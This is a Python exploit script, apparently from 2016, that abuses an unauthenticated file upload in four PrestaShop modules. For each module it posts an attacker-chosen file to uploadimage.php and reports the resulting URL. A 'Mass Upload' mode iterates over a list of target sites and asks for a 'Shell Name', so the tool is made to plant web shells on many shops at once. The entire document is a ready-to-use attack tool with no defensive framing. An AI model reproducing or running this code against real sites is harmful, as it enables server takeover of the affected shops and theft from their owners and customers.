#!/usr/bin/python #################################################################################### #Author  : PentesterDesk #Date    : 20-June-2016 #Software: Prestashop CMS #vuln Mod: Simpleslideshow , productpageadverts , Homepageadvertise , columnadverts #################################################################################### import sys, os import time import requests def main():         os.system('cls' and 'color -a' if os.name == "nt" else 'clear')            banner = '''                           +======================================================+                         |    Prestashop  |  FileUpload Exp   |  PentesterDesk  |                         |         Found by : Muhammad Faisal Gunanda           |                         |         Coded by : PentesterDesk Team                |                         |         Contact  : pentesterdesk@gmail.com           |                         +======================================================+                         '''        print banner         print "[1] SimpleSlideShow "        print "[2] Productpageadverts"        print "[3] HomepageAdvertise"        print "[4] columnAdverts"        ch1=raw_input("\n[>] ") #1 SimpleSlideShow         if ch1 == '1':                 os.system('cls' and 'color -a' if os.name == "nt" else 'clear')                  print banner                 print "\n                       <==============SimpleSlideShow Exploit=================>\n"                print "[1] Single Site "                print "[2] Mass Upload"                print "[3] GoTo Home"                ch2=raw_input("\n[>] ")                 if ch2 == '3':                         main()                 if ch2 == '1':                         os.system('cls' and 'color -a' if os.name == "nt" else 'clear')                          print banner                         print "\n                       <==============SimpleSlideShow Exploit=================>\n"                        url = raw_input("[+] Enter Url  : ")                         filname= raw_input("[+] Enter File : ")                         if filname == '' or url == '':                                 print "\n[!] Url or File is not entered\n"                                raw_input("[+] Enter Any key to try agian [>] ")                                 main()                         #url Logic                         if '/modules/simpleslideshow/' in url:                                 url=url.replace('/modules/simpleslideshow/','/modules/simpleslideshow/uploadimage.php')                         elif '/modules/simpleslideshow/uploadimage.php' in url:                                 url=url                         else:                                 url = url + "/modules/simpleslideshow/uploadimage.php"                        #main                         files={'userfile':(filname, open(filname,'rb'),'multipart/form-data')}                         req=requests.post(url,files=files)                         if req.status_code == 200 or 'success' in req.text:                                 url=url.replace('/uploadimage.php','/slides/'+filname)                                 print ("[+] %s [ok]" % (url))                         else:                                 print "\n[+] %s \n" %url                         raw_input("\n[+] Press Enter [>] ")                         main()                 #Mass upload Logic                 if ch2 == '2':                         os.system('cls' and 'color -a' if os.name == "nt" else 'clear')                          print banner                         print "\n                       <==============SimpleSlideShow Exploit=================>\n"                        filee = raw_input("[+] Enter List  Name : ")                         filname= raw_input("[+] Enter Shell Name : ")                         if filname == '' or filee == '':                                         print "\n[!] Url or File is not entered\n"                                        raw_input("[+] Enter Any key to try agian [>] ")                                         main()                         ob = open(filee,'r')                         lists = ob.readlines()                         list1 = []                         i = 0                        for i in range(len(lists)):                                 list1.append(lists[i].strip('\n'))                                                           count = 0                        for site in (list1):                                 count = count + 1                                if '/modules/simpleslideshow/' in site:                                         url=site.replace('/modules/simpleslideshow/','/modules/simpleslideshow/uploadimage.php')                                 elif '/modules/simpleslideshow/uploadimage.php' in site:                                         url=site                                 else:                                         url = site + "/modules/simpleslideshow/uploadimage.php"                                files={'userfile':(filname, open(filname,'rb'),'multipart/form-data')}                                 req=requests.post(url,files=files)                                 if req.status_code == 200 or 'success' in req.text:                                         url=url.replace('/uploadimage.php','/slides/'+filname)                                         print ("[%d] %s [ ok ]" % (count,url))                                 else:                                         print ("[%d]  %s " % (count,url))                 raw_input("\n[+] Press Enter [>] ")                 main()                                   #2 productpageadverts         if ch1 == '2':                 os.system('cls' and 'color -a' if os.name == "nt" else 'clear')                  print banner                 print "\n                       <==============Productpageadverts Exploit==============>\n"                print "[1] Single Site "                print "[2] Mass Upload"                print "[3] GoTo Home"                ch2=raw_input("\n[>] ")                 if ch2 == '3':                         main()                 if ch2 == '1':                         os.system('cls' and 'color -a' if os.name == "nt" else 'clear')                          print banner                         print "\n                       <==============Productpageadverts Exploit==============>\n"                        url = raw_input("[+] Enter Url  : ")                         filname= raw_input("[+] Enter File : ")                         if filname == '' or url == '':                                 print "\n[!] Url or File is not entered\n"                                raw_input("[+] Enter Any key to try agian [>] ")                                 main()                         #url Logic                         if '/modules/productpageadverts/' in url:                                 url=url.replace('/modules/productpageadverts/','/modules/productpageadverts/uploadimage.php')                         elif '/modules/productpageadverts/uploadimage.php' in url:                                 url=url                         else:                                 url = url + "/modules/productpageadverts/uploadimage.php"                        #main                         files={'userfile':(filname, open(filname,'rb'),'multipart/form-data')}                         req=requests.post(url,files=files)                         if req.status_code == 200 or 'success' in req.text:                                 url=url.replace('/uploadimage.php','/slides/'+filname)                                 print ("[+] %s [ ok ]" % (url))                         else:                                 print "\n\[+] %s \n" %url                         raw_input("\n[+] Press Enter [>] ")                         main()                 #Mass upload Logic                 if ch2 == '2':                         os.system('cls' and 'color -a' if os.name == "nt" else 'clear')                          print banner                         print "\n                       <==============Productpageadverts Exploit==============>\n"                        filee = raw_input("\033[1;36m[+] Enter List  Name : \033[1;m")                         filname= raw_input("\033[1;36m[+] Enter Shell Name : \033[1;m")                         if filname == '' or filee == '':                                         print "\n\033[1;41m[!] Url or File is not entered\033[1;m\n"                                        raw_input("\033[1;36m[+] Enter Any key to try agian \033[1;m[\033[1;31m>\033[1;m] ")                                         main()                         ob = open(filee,'r')                         lists = ob.readlines()                         list1 = []                         i = 0                        for i in range(len(lists)):                                 list1.append(lists[i].strip('\n'))                                                           count = 0                        for site in (list1):                                 count = count + 1                                if '/modules/productpageadverts/' in site:                                         url=site.replace('/modules/productpageadverts/','/modules/productpageadverts/uploadimage.php')                                 elif '/modules/simpleslideshow/uploadimage.php' in site:                                         url=site                                 else:                                         url = site + "/modules/productpageadverts/uploadimage.php"                                files={'userfile':(filname, open(filname,'rb'),'multipart/form-data')}                                 req=requests.post(url,files=files)                                 if req.status_code == 200 or 'success' in req.text:                                         url=url.replace('/uploadimage.php','/slides/'+filname)                                         print ("[%d] %s [ ok ]" % (count,url))                                 else:                                         print ("[%d]  %s " % (count,url))                 raw_input("\n[+] Press Enter [>] ")                 main() #3 homepageadvertise         if ch1 == '3':                 os.system('cls' and 'color -a' if os.name == "nt" else 'clear')                  print banner                 print "\n                       <==============HomePageAdvertise Exploit===============>\n"                print "[1] Single Site "                print "[2] Mass Upload"                print "[3] GoTo Home"                ch2=raw_input("\n[>] ")                 if ch2 == '3':                         main()                 if ch2 == '1':                         os.system('cls' and 'color -a' if os.name == "nt" else 'clear')                          print banner                         print "\n                       <==============HomePageAdvertise Exploit===============>\n"                        url = raw_input("[+] Enter Url  : ")                         filname= raw_input("[+] Enter File : ")                         if filname == '' or url == '':                                 print "\n\033[1;41m[!] Url or File is not entered\033[1;m\n"                                raw_input("\033[1;36m[+] Enter Any key to try agian \033[1;m[\033[1;31m>\033[1;m] ")                                 main()                         #url Logic                         if '/modules/homepageadvertise/' in url:                                 url=url.replace('/modules/homepageadvertise/','/modules/homepageadvertise/uploadimage.php')                         elif '/modules/homepageadvertise/uploadimage.php' in url:                                 url=url                         else:                                 url = url + "/modules/homepageadvertise/uploadimage.php"                        #main                         files={'userfile':(filname, open(filname,'rb'),'multipart/form-data')}                         req=requests.post(url,files=files)                         if req.status_code == 200 or 'success' in req.text:                                 url=url.replace('/uploadimage.php','/slides/'+filname)                                 print ("[+] %s [ ok ]" % (url))                         else:                                 print "\n[+] %s \n" %url                         raw_input("\n[+] Press Enter [>] ")                         main()                 #Mass upload Logic                 if ch2 == '2':                         os.system('cls' and 'color -a' if os.name == "nt" else 'clear')                          print banner                         print "\n                       <==============HomePageAdvertise Exploit===============>\n"                        filee = raw_input("[+] Enter List  Name : ")                         filname= raw_input("[+] Enter Shell Name : ")                         if filname == '' or filee == '':                                         print "\n\[!] Url or File is not entered\n"                                        raw_input("[+] Enter Any key to try agian [>] ")                                         main()                         ob = open(filee,'r')                         lists = ob.readlines()                         list1 = []                         i = 0                        for i in range(len(lists)):                                 list1.append(lists[i].strip('\n'))                                                           count = 0                        for site in (list1):                                 count = count + 1                                if '/modules/homepageadvertise/' in site:                                         url=site.replace('/modules/homepageadvertise/','/modules/homepageadvertise/uploadimage.php')                                 elif '/modules/homepageadvertise/uploadimage.php' in site:                                         url=site                                 else:                                         url = site + "/modules/homepageadvertise/uploadimage.php"                                files={'userfile':(filname, open(filname,'rb'),'multipart/form-data')}                                 req=requests.post(url,files=files)                                 if req.status_code == 200 or 'success' in req.text:                                         url=url.replace('/uploadimage.php','/slides/'+filname)                                         print ("[%d]] %s [ ok ]" % (count,url))                                 else:                                         print ("[%d]  %s " % (count,url))                 raw_input("\n[+] Press Enter [>] ")                 main() #4 columnadverts         if ch1 == '4':                 os.system('cls' and 'color -a' if os.name == "nt" else 'clear')                  print banner                 print "\n                       <================ColumnAdvers Exploit==================>\n"                print "[1] Single Site "                print "[2] Mass Upload"                print "[3] GoTo Home"                ch2=raw_input("\n[>] ")                 if ch2 == '3':                         main()                 if ch2 == '1':                         os.system('cls' and 'color -a' if os.name == "nt" else 'clear')                          print banner                         print "\n                       <================ColumnAdvers Exploit==================>\n"                        url = raw_input("[+] Enter Url  : ")                         filname= raw_input("[+] Enter File : ")                         if filname == '' or url == '':                                 print "\n[!] Url or File is not entered\n"                                raw_input("[+] Enter Any key to try agian [>] ")                                 main()                         #url Logic                         if '/modules/columnadverts/' in url:                                 url=url.replace('/modules/columnadverts/','/modules/columnadverts/uploadimage.php')                         elif '/modules/columnadverts/uploadimage.php' in url:                                 url=url                         else:                                 url = url + "/modules/columnadverts/uploadimage.php"                        #main                         files={'userfile':(filname, open(filname,'rb'),'multipart/form-data')}                         req=requests.post(url,files=files)                         if req.status_code == 200 or 'success' in req.text:                                 url=url.replace('/uploadimage.php','/slides/'+filname)                                 print ("[+] %s [ ok ]" % (url))                         else:                                 print "\n[+] %s \n" %url                         raw_input("\n[+] Press Enter [>] ")                         main()                 #Mass upload Logic                 if ch2 == '2':                         os.system('cls' and 'color -a' if os.name == "nt" else 'clear')                          print banner                         print "\n                       <================ColumnAdvers Exploit==================>\n"                        filee = raw_input("[+] Enter List  Name : ")                         filname= raw_input("[+] Enter Shell Name : ")                         if filname == '' or filee == '':                                         print "\n[!] Url or File is not entered\n"                                        raw_input("[+] Enter Any key to try agian [>] ")                                         main()                         ob = open(filee,'r')                         lists = ob.readlines()                         list1 = []                         i = 0                        for i in range(len(lists)):                                 list1.append(lists[i].strip('\n'))                                                           count = 0                        for site in (list1):                                 count = count + 1                                if '/modules/columnadverts/' in site:                                         url=site.replace('/modules/columnadverts/','/modules/columnadverts/uploadimage.php')                                 elif '/modules/columnadverts/uploadimage.php' in site:                                         url=site                                 else:                                         url = site + "/modules/columnadverts/uploadimage.php"                                files={'userfile':(filname, open(filname,'rb'),'multipart/form-data')}                                 req=requests.post(url,files=files)                                 if req.status_code == 200 or 'success' in req.text:                                         url=url.replace('/uploadimage.php','/slides/'+filname)                                         print ("[%d] %s [ ok ]" % (count,url))                                 else:                                         print ("[%d] %s " % (count,url))                 raw_input("\n[+] Press Enter [>] ")                 main() if __name__ == "__main__":     main()